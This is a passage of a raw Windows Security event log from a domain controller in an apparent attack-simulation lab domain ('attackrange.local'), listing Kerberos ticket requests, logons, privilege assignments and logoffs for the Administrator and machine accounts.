localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251947 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251946 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251945 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E57 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251944 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251943 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485D4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251942 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146BC5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251941 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251940 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14278C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251939 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C74 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251938 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E57 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251937 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251936 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251935 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251934 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251933 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E3B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251932 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E3B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251931 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E3B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251930 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251929 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {79832C66-5765-70DF-F1C4-16F0BF59FC24} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251928 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251927 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x148788 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252009 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CBCC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252008 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14CBCC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64572 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252007 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CBCC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252006 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CB68 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252005 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14CB68 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64571 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252004 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CB68 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252003 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CABA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252002 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14CABA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64570 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252001 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14CABA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252000 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14C9F5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251999 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14C9F5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64569 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. 